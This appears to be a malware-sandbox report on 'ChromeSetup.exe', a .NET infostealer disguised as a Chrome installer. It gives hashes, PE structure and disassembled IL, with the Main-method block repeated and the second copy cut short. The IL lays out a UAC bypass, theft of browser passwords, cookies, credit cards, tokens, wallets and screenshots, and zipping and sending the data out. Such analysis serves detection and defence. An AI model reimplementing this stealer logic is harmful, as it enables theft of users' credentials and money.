Suspicious
Suspect

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very low
MD5 802aa7a4a57b22e797ebeb2b3b638527
Sha1 6179f1929d3b2cdeb9d453ef1ec5ce3c88521923
Sha256 038da7941cb395df589983f3b09346694fe2a3a9e458a295ebfd5bd7c9fdb434
Sha384 b766225bf0cb6d7fab8f99f0787c75d75e38148218089c246240135c717c6ec73a70a5b55771395cd96a3d7707c348d8
Sha512 abf6d2065acf94e8e917e427838466613ab130c90a8334b8177be69d91c28705e1f46e66f017f275430dd8c1e573893017cd4eee08061f535ea6f46393472da1
SSDeep 49152:j7L+2upjBVhbAbXMtQl/wLz8r5S5l7KdVSZ4eY83TAcmi:/L+2upjBVGVl/lQrCSZ4183Dmi
TLSH CAC5238537FC4909F6BF9B702CB6662486BDB8A35E25DB5E05C4309C1930BE5AD60F23
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
costura.bouncycastle.cryptography.dll.compressed
[Authenticode]_31a7df4f.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.costura.dll.compressed
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.costura.pdb.compressed
costura.metadata
Name Value
Info
PE Detect: PeReader OK (file layout)
Info
PDB Path: C:\Users\Administrator\AppData\Local\Temp\2\StubTemplate_3853\obj\Release\ChromeSetup.pdb
Module Name
ChromeSetup.exe
Full Name
ChromeSetup.exe
EntryPoint
System.Void chrome_v20_decryption_CSharp.Program::Main(System.String[])
Scope Name
ChromeSetup.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
ChromeSetup
Assembly Version
131.0.6778.140
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.8
Total Strings
1127
Main Method
System.Void chrome_v20_decryption_CSharp.Program::Main(System.String[])
Main IL Instruction Count
440
Main IL
call System.Int32 chrome_v20_decryption_CSharp.Program::CheckSeenBefore()
stsfld System.Int32 chrome_v20_decryption_CSharp.Program::_seenBeforeCount
call System.Boolean chrome_v20_decryption_CSharp.Program::FreeConsole()
pop <null>
leave.s IL_0015: nop
pop <null>
leave.s IL_0015: nop
nop <null>
ldc.i4 4032
call System.Void System.Net.ServicePointManager::set_SecurityProtocol(System.Net.SecurityProtocolType)
leave.s IL_0025: nop
pop <null>
leave.s IL_0025: nop
nop <null>
call System.Boolean chrome_v20_decryption_CSharp.Program::IsLicenseValid()
brtrue.s IL_0032: leave.s IL_003A
leave IL_044C: ret
leave.s IL_003A: nop
pop <null>
leave IL_044C: ret
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::SendPhoneHome()
leave.s IL_0045: ldc.i4.0
pop <null>
leave.s IL_0045: ldc.i4.0
ldc.i4.0 <null>
stloc.0 <null>
ldc.i4.0 <null>
stloc.1 <null>
ldc.i4.0 <null>
stloc.2 <null>
ldc.i4.0 <null>
stloc.3 <null>
ldc.i4.0 <null>
stloc.s V_4
ldarg.0 <null>
ldlen <null>
brtrue.s IL_0064: ldc.i4.0
ldc.i4.1 <null>
stloc.0 <null>
ldc.i4.1 <null>
stloc.1 <null>
ldc.i4.1 <null>
stloc.2 <null>
ldc.i4.1 <null>
stloc.3 <null>
ldc.i4.1 <null>
stloc.s V_4
br IL_01FA: ldloc.0
ldc.i4.0 <null>
stloc.s V_11
br IL_01F0: ldloc.s V_11
ldarg.0 <null>
ldloc.s V_11
ldelem.ref <null>
callvirt System.String System.String::ToLower()
stloc.s V_12
ldloc.s V_12
brfalse IL_01EA: ldloc.s V_11
ldloc.s V_12
call System.Int32 System.String::get_Length()
stloc.s V_13
ldloc.s V_13
ldc.i4.2 <null>
beq.s IL_00B7: ldloc.s V_12
ldloc.s V_13
ldc.i4.3 <null>
beq IL_01B7: ldloc.s V_12
ldloc.s V_13
ldc.i4.s 9
sub <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldc.i4.1 <null>
call System.Char System.String::get_Chars(System.Int32)
stloc.s V_14
ldloc.s V_14
ldc.i4.s 100
bgt.un.s IL_00DB: ldloc.s V_14
ldloc.s V_14
ldc.i4.s 99
beq.s IL_013E: ldloc.s V_12
ldloc.s V_14
ldc.i4.s 100
beq IL_0167: ldloc.s V_12
br IL_01EA: ldloc.s V_11
ldloc.s V_14
ldc.i4.s 104
beq.s IL_0154: ldloc.s V_12
ldloc.s V_14
ldc.i4.s 112
beq.s IL_0128: ldloc.s V_12
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldc.i4.2 <null>
call System.Char System.String::get_Chars(System.Int32)
stloc.s V_14
ldloc.s V_14
ldc.i4.s 100
beq IL_0187: ldloc.s V_12
ldloc.s V_14
ldc.i4.s 112
beq.s IL_0177: ldloc.s V_12
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldc.i4.2 <null>
call System.Char System.String::get_Chars(System.Int32)
stloc.s V_14
ldloc.s V_14
ldc.i4.s 99
beq.s IL_0197: ldloc.s V_12
ldloc.s V_14
ldc.i4.s 104
beq IL_01A7: ldloc.s V_12
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -p
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue IL_01D7: ldc.i4.1
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -c
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue IL_01DB: ldc.i4.1
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -h
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01DF: ldc.i4.1
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -d
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01E3: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --passwords
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01D7: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --downloads
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01E3: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --cookies
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01DB: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --history
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01DF: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -cc
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01E7: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --creditcards
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01E7: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.0 <null>
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.1 <null>
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.2 <null>
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.3 <null>
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.s V_4
ldloc.s V_11
ldc.i4.1 <null>
add <null>
stloc.s V_11
ldloc.s V_11
ldarg.0 <null>
ldlen <null>
conv.i4 <null>
blt IL_006C: ldarg.0
ldloc.0 <null>
ldloc.1 <null>
or <null>
ldloc.s V_4
or <null>
brfalse.s IL_021C: newobj System.Void chrome_v20_decryption_CSharp.Chromium::.ctor()
call System.Boolean chrome_v20_decryption_CSharp.Program::IsAdmin()
brtrue.s IL_021C: newobj System.Void chrome_v20_decryption_CSharp.Chromium::.ctor()
call System.Boolean chrome_v20_decryption_CSharp.Program/UACBypass::BypassUAC()
brfalse.s IL_0215: ldc.i4.0
leave IL_044C: ret
ldc.i4.0 <null>
stloc.0 <null>
ldc.i4.0 <null>
stloc.1 <null>
ldc.i4.0 <null>
stloc.s V_4
newobj System.Void chrome_v20_decryption_CSharp.Chromium::.ctor()
stloc.s V_5
ldnull <null>
stloc.s V_6
ldnull <null>
stloc.s V_7
ldnull <null>
stloc.s V_8
ldnull <null>
stloc.s V_9
ldnull <null>
stloc.s V_10
ldloc.0 <null>
brfalse.s IL_023E: leave.s IL_0243
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Login>> chrome_v20_decryption_CSharp.Chromium::GetLoginDataByBrowser()
stloc.s V_6
leave.s IL_0243: nop
pop <null>
leave.s IL_0243: nop
nop <null>
ldloc.1 <null>
brfalse.s IL_0250: leave.s IL_0255
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Cookie>> chrome_v20_decryption_CSharp.Chromium::GetCookiesByBrowser()
stloc.s V_7
leave.s IL_0255: nop
pop <null>
leave.s IL_0255: nop
nop <null>
ldloc.2 <null>
brfalse.s IL_0262: leave.s IL_0267
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/WebHistory>> chrome_v20_decryption_CSharp.Chromium::GetWebHistoryByBrowser()
stloc.s V_8
leave.s IL_0267: nop
pop <null>
leave.s IL_0267: nop
nop <null>
ldloc.3 <null>
brfalse.s IL_0274: leave.s IL_0279
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Download>> chrome_v20_decryption_CSharp.Chromium::GetDownloadsByBrowser()
stloc.s V_9
leave.s IL_0279: nop
pop <null>
leave.s IL_0279: nop
nop <null>
ldloc.s V_4
brfalse.s IL_0287: leave.s IL_028C
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/CreditCard>> chrome_v20_decryption_CSharp.Chromium::GetCreditCardsByBrowser()
stloc.s V_10
leave.s IL_028C: nop
pop <null>
leave.s IL_028C: nop
nop <null>
ldloc.0 <null>
brfalse.s IL_0297: leave.s IL_029C
ldloc.s V_6
call System.Void chrome_v20_decryption_CSharp.Program::WriteLogins(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Login>>)
leave.s IL_029C: nop
pop <null>
leave.s IL_029C: nop
nop <null>
ldloc.1 <null>
brfalse.s IL_02A7: leave.s IL_02AC
ldloc.s V_7
call System.Void chrome_v20_decryption_CSharp.Program::WriteCookies(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Cookie>>)
leave.s IL_02AC: nop
pop <null>
leave.s IL_02AC: nop
nop <null>
ldloc.2 <null>
brfalse.s IL_02B7: leave.s IL_02BC
ldloc.s V_8
call System.Void chrome_v20_decryption_CSharp.Program::WriteHistory(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/WebHistory>>)
leave.s IL_02BC: nop
pop <null>
leave.s IL_02BC: nop
nop <null>
ldloc.3 <null>
brfalse.s IL_02C7: leave.s IL_02CC
ldloc.s V_9
call System.Void chrome_v20_decryption_CSharp.Program::WriteDownloads(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Download>>)
leave.s IL_02CC: nop
pop <null>
leave.s IL_02CC: nop
nop <null>
ldloc.s V_4
brfalse.s IL_02D8: leave.s IL_02DD
ldloc.s V_10
call System.Void chrome_v20_decryption_CSharp.Program::WriteCreditCards(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/CreditCard>>)
leave.s IL_02DD: nop
pop <null>
leave.s IL_02DD: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::GatherSystemInfo()
leave.s IL_02E8: nop
pop <null>
leave.s IL_02E8: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::ExtractTokens()
leave.s IL_02F3: nop
pop <null>
leave.s IL_02F3: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::ExtractPasswordManagers()
leave.s IL_02FE: nop
pop <null>
leave.s IL_02FE: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::ScanFileSystem()
leave.s IL_0309: nop
pop <null>
leave.s IL_0309: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::CaptureScreenshot()
leave.s IL_0314: nop
pop <null>
leave.s IL_0314: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.CryptoWallets::GrabCryptoWallets()
call System.String chrome_v20_decryption_CSharp.Program::GetWalletsDirectory()
stloc.s V_15
ldloc.s V_15
call System.Boolean System.IO.Directory::Exists(System.String)
brfalse.s IL_0340: leave.s IL_0345
ldloc.s V_15
ldstr *
ldc.i4.1 <null>
call System.String[] System.IO.Directory::GetFiles(System.String,System.String,System.IO.SearchOption)
ldlen <null>
brfalse.s IL_0340: leave.s IL_0345
ldc.i4.1 <null>
stsfld System.Boolean chrome_v20_decryption_CSharp.Program::_hasWallets
leave.s IL_0345: nop
pop <null>
leave.s IL_0345: nop
nop <null>
call System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxLogin> chrome_v20_decryption_CSharp.Firefox::GetLogins()
callvirt System.Int32 System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxLogin>::get_Count()
stloc.s V_16
ldloc.s V_16
ldc.i4.0 <null>
ble.s IL_036A: call System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxCookie> chrome_v20_decryption_CSharp.Firefox::GetCookies()
ldsfld System.Int32 chrome_v20_decryption_CSharp.Program::_passwordCount
ldloc.s V_16
add <null>
stsfld System.Int32 chrome_v20_decryption_CSharp.Program::_passwordCount
ldc.i4.1 <null>
stsfld System.Boolean chrome_v20_decryption_CSharp.Program::_hasFirefox
call System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxCookie> chrome_v20_decryption_CSharp.Firefox::GetCookies()
callvirt System.Int32 System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxCookie>::get_Count()
stloc.s V_17
ldloc.s V_17
ldc.i4.0 <null>
ble.s IL_038E: call System.String chrome_v20_decryption_CSharp.Program::GetOutputDirectory()
ldsfld System.Int32 chrome_v20_decryption_CSharp.Program::_cookieCount
ldloc.s V_17
add <null>
stsfld System.Int32 chrome_v20_decryption_CSharp.Program::_cookieCount
ldc.i4.1 <null>
stsfld System.Boolean chrome_v20_decryption_CSharp.Program::_hasFirefox
call System.String chrome_v20_decryption_CSharp.Program::GetOutputDirectory()
call System.Void chrome_v20_decryption_CSharp.Firefox::WriteFirefoxData(System.String)
call System.String chrome_v20_decryption_CSharp.Program::GetOutputDirectory()
call System.Void chrome_v20_decryption_CSharp.Firefox::CopyFirefoxProfiles(System.String)
leave.s IL_03A7: nop
pop <null>
leave.s IL_03A7: nop
nop <null>
call System.String chrome_v20_decryption_CSharp.Program::GetOutputDirectory()
stloc.s V_18
ldloc.s V_18
call System.Boolean System.IO.Directory::Exists(System.String)
brfalse.s IL_0417: leave.s IL_0421
ldc.i4 500
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.s V_18
call System.String chrome_v20_decryption_CSharp.Program::ZipFolder(System.String)
stloc.s V_19
ldloc.s V_19
call System.Boolean System.String::IsNullOrEmpty(System.String)
brtrue.s IL_0409: nop
ldloc.s V_19
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0409: nop
ldloc.s V_19
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 50331648
conv.i8 <null>
stloc.s V_20
callvirt System.Int64 System.IO.FileInfo::get_Length()
ldloc.s V_20
pop <null>
pop <null>
ldloc.s V_19
call System.Void chrome_v20_decryption_CSharp.Program::SendData(System.String)
nop <null>
ldloc.s V_19
call System.Void System.IO.File::Delete(System.String)
leave.s IL_0409: nop
pop <null>
leave.s IL_0409: nop
nop <null>
ldloc.s V_18
ldc.i4.1 <null>
call System.Void System.IO.Directory::Delete(System.String,System.Boolean)
leave.s IL_0417: leave.s IL_0421
pop <null>
leave.s IL_0417: leave.s IL_0421
leave.s IL_0421: nop
callvirt System.Exception System.Exception::get_InnerException()
pop <null>
leave.s IL_0421: nop
nop <null>
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
leave.s IL_0431: leave.s IL_044C
pop <null>
leave.s IL_0431: leave.s IL_044C
leave.s IL_044C: ret
pop <null>
leave.s IL_044C: ret
nop <null>
call System.Void System.GC::Collect()
call System.Void System.GC::WaitForPendingFinalizers()
call System.Void System.GC::Collect()
leave.s IL_044B: endfinally
pop <null>
leave.s IL_044B: endfinally
endfinally <null>
ret <null>
Module Name
ChromeSetup.exe
Full Name
ChromeSetup.exe
EntryPoint
System.Void chrome_v20_decryption_CSharp.Program::Main(System.String[])
Scope Name
ChromeSetup.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
ChromeSetup
Assembly Version
131.0.6778.140
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.8
Total Strings
1127
Main Method
System.Void chrome_v20_decryption_CSharp.Program::Main(System.String[])
Main IL Instruction Count
440
Main IL
call System.Int32 chrome_v20_decryption_CSharp.Program::CheckSeenBefore()
stsfld System.Int32 chrome_v20_decryption_CSharp.Program::_seenBeforeCount
call System.Boolean chrome_v20_decryption_CSharp.Program::FreeConsole()
pop <null>
leave.s IL_0015: nop
pop <null>
leave.s IL_0015: nop
nop <null>
ldc.i4 4032
call System.Void System.Net.ServicePointManager::set_SecurityProtocol(System.Net.SecurityProtocolType)
leave.s IL_0025: nop
pop <null>
leave.s IL_0025: nop
nop <null>
call System.Boolean chrome_v20_decryption_CSharp.Program::IsLicenseValid()
brtrue.s IL_0032: leave.s IL_003A
leave IL_044C: ret
leave.s IL_003A: nop
pop <null>
leave IL_044C: ret
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::SendPhoneHome()
leave.s IL_0045: ldc.i4.0
pop <null>
leave.s IL_0045: ldc.i4.0
ldc.i4.0 <null>
stloc.0 <null>
ldc.i4.0 <null>
stloc.1 <null>
ldc.i4.0 <null>
stloc.2 <null>
ldc.i4.0 <null>
stloc.3 <null>
ldc.i4.0 <null>
stloc.s V_4
ldarg.0 <null>
ldlen <null>
brtrue.s IL_0064: ldc.i4.0
ldc.i4.1 <null>
stloc.0 <null>
ldc.i4.1 <null>
stloc.1 <null>
ldc.i4.1 <null>
stloc.2 <null>
ldc.i4.1 <null>
stloc.3 <null>
ldc.i4.1 <null>
stloc.s V_4
br IL_01FA: ldloc.0
ldc.i4.0 <null>
stloc.s V_11
br IL_01F0: ldloc.s V_11
ldarg.0 <null>
ldloc.s V_11
ldelem.ref <null>
callvirt System.String System.String::ToLower()
stloc.s V_12
ldloc.s V_12
brfalse IL_01EA: ldloc.s V_11
ldloc.s V_12
call System.Int32 System.String::get_Length()
stloc.s V_13
ldloc.s V_13
ldc.i4.2 <null>
beq.s IL_00B7: ldloc.s V_12
ldloc.s V_13
ldc.i4.3 <null>
beq IL_01B7: ldloc.s V_12
ldloc.s V_13
ldc.i4.s 9
sub <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldc.i4.1 <null>
call System.Char System.String::get_Chars(System.Int32)
stloc.s V_14
ldloc.s V_14
ldc.i4.s 100
bgt.un.s IL_00DB: ldloc.s V_14
ldloc.s V_14
ldc.i4.s 99
beq.s IL_013E: ldloc.s V_12
ldloc.s V_14
ldc.i4.s 100
beq IL_0167: ldloc.s V_12
br IL_01EA: ldloc.s V_11
ldloc.s V_14
ldc.i4.s 104
beq.s IL_0154: ldloc.s V_12
ldloc.s V_14
ldc.i4.s 112
beq.s IL_0128: ldloc.s V_12
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldc.i4.2 <null>
call System.Char System.String::get_Chars(System.Int32)
stloc.s V_14
ldloc.s V_14
ldc.i4.s 100
beq IL_0187: ldloc.s V_12
ldloc.s V_14
ldc.i4.s 112
beq.s IL_0177: ldloc.s V_12
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldc.i4.2 <null>
call System.Char System.String::get_Chars(System.Int32)
stloc.s V_14
ldloc.s V_14
ldc.i4.s 99
beq.s IL_0197: ldloc.s V_12
ldloc.s V_14
ldc.i4.s 104
beq IL_01A7: ldloc.s V_12
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -p
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue IL_01D7: ldc.i4.1
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -c
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue IL_01DB: ldc.i4.1
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -h
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01DF: ldc.i4.1
br IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -d
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01E3: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --passwords
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01D7: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --downloads
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01E3: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --cookies
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01DB: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --history
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01DF: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr -cc
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01E7: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldloc.s V_12
ldstr --creditcards
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01E7: ldc.i4.1
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.0 <null>
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.1 <null>
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.2 <null>
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.3 <null>
br.s IL_01EA: ldloc.s V_11
ldc.i4.1 <null>
stloc.s V_4
ldloc.s V_11
ldc.i4.1 <null>
add <null>
stloc.s V_11
ldloc.s V_11
ldarg.0 <null>
ldlen <null>
conv.i4 <null>
blt IL_006C: ldarg.0
ldloc.0 <null>
ldloc.1 <null>
or <null>
ldloc.s V_4
or <null>
brfalse.s IL_021C: newobj System.Void chrome_v20_decryption_CSharp.Chromium::.ctor()
call System.Boolean chrome_v20_decryption_CSharp.Program::IsAdmin()
brtrue.s IL_021C: newobj System.Void chrome_v20_decryption_CSharp.Chromium::.ctor()
call System.Boolean chrome_v20_decryption_CSharp.Program/UACBypass::BypassUAC()
brfalse.s IL_0215: ldc.i4.0
leave IL_044C: ret
ldc.i4.0 <null>
stloc.0 <null>
ldc.i4.0 <null>
stloc.1 <null>
ldc.i4.0 <null>
stloc.s V_4
newobj System.Void chrome_v20_decryption_CSharp.Chromium::.ctor()
stloc.s V_5
ldnull <null>
stloc.s V_6
ldnull <null>
stloc.s V_7
ldnull <null>
stloc.s V_8
ldnull <null>
stloc.s V_9
ldnull <null>
stloc.s V_10
ldloc.0 <null>
brfalse.s IL_023E: leave.s IL_0243
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Login>> chrome_v20_decryption_CSharp.Chromium::GetLoginDataByBrowser()
stloc.s V_6
leave.s IL_0243: nop
pop <null>
leave.s IL_0243: nop
nop <null>
ldloc.1 <null>
brfalse.s IL_0250: leave.s IL_0255
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Cookie>> chrome_v20_decryption_CSharp.Chromium::GetCookiesByBrowser()
stloc.s V_7
leave.s IL_0255: nop
pop <null>
leave.s IL_0255: nop
nop <null>
ldloc.2 <null>
brfalse.s IL_0262: leave.s IL_0267
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/WebHistory>> chrome_v20_decryption_CSharp.Chromium::GetWebHistoryByBrowser()
stloc.s V_8
leave.s IL_0267: nop
pop <null>
leave.s IL_0267: nop
nop <null>
ldloc.3 <null>
brfalse.s IL_0274: leave.s IL_0279
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Download>> chrome_v20_decryption_CSharp.Chromium::GetDownloadsByBrowser()
stloc.s V_9
leave.s IL_0279: nop
pop <null>
leave.s IL_0279: nop
nop <null>
ldloc.s V_4
brfalse.s IL_0287: leave.s IL_028C
ldloc.s V_5
callvirt System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/CreditCard>> chrome_v20_decryption_CSharp.Chromium::GetCreditCardsByBrowser()
stloc.s V_10
leave.s IL_028C: nop
pop <null>
leave.s IL_028C: nop
nop <null>
ldloc.0 <null>
brfalse.s IL_0297: leave.s IL_029C
ldloc.s V_6
call System.Void chrome_v20_decryption_CSharp.Program::WriteLogins(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Login>>)
leave.s IL_029C: nop
pop <null>
leave.s IL_029C: nop
nop <null>
ldloc.1 <null>
brfalse.s IL_02A7: leave.s IL_02AC
ldloc.s V_7
call System.Void chrome_v20_decryption_CSharp.Program::WriteCookies(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Cookie>>)
leave.s IL_02AC: nop
pop <null>
leave.s IL_02AC: nop
nop <null>
ldloc.2 <null>
brfalse.s IL_02B7: leave.s IL_02BC
ldloc.s V_8
call System.Void chrome_v20_decryption_CSharp.Program::WriteHistory(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/WebHistory>>)
leave.s IL_02BC: nop
pop <null>
leave.s IL_02BC: nop
nop <null>
ldloc.3 <null>
brfalse.s IL_02C7: leave.s IL_02CC
ldloc.s V_9
call System.Void chrome_v20_decryption_CSharp.Program::WriteDownloads(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/Download>>)
leave.s IL_02CC: nop
pop <null>
leave.s IL_02CC: nop
nop <null>
ldloc.s V_4
brfalse.s IL_02D8: leave.s IL_02DD
ldloc.s V_10
call System.Void chrome_v20_decryption_CSharp.Program::WriteCreditCards(System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Chromium/CreditCard>>)
leave.s IL_02DD: nop
pop <null>
leave.s IL_02DD: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::GatherSystemInfo()
leave.s IL_02E8: nop
pop <null>
leave.s IL_02E8: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::ExtractTokens()
leave.s IL_02F3: nop
pop <null>
leave.s IL_02F3: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::ExtractPasswordManagers()
leave.s IL_02FE: nop
pop <null>
leave.s IL_02FE: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::ScanFileSystem()
leave.s IL_0309: nop
pop <null>
leave.s IL_0309: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.Program::CaptureScreenshot()
leave.s IL_0314: nop
pop <null>
leave.s IL_0314: nop
nop <null>
call System.Void chrome_v20_decryption_CSharp.CryptoWallets::GrabCryptoWallets()
call System.String chrome_v20_decryption_CSharp.Program::GetWalletsDirectory()
stloc.s V_15
ldloc.s V_15
call System.Boolean System.IO.Directory::Exists(System.String)
brfalse.s IL_0340: leave.s IL_0345
ldloc.s V_15
ldstr *
ldc.i4.1 <null>
call System.String[] System.IO.Directory::GetFiles(System.String,System.String,System.IO.SearchOption)
ldlen <null>
brfalse.s IL_0340: leave.s IL_0345
ldc.i4.1 <null>
stsfld System.Boolean chrome_v20_decryption_CSharp.Program::_hasWallets
leave.s IL_0345: nop
pop <null>
leave.s IL_0345: nop
nop <null>
call System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxLogin> chrome_v20_decryption_CSharp.Firefox::GetLogins()
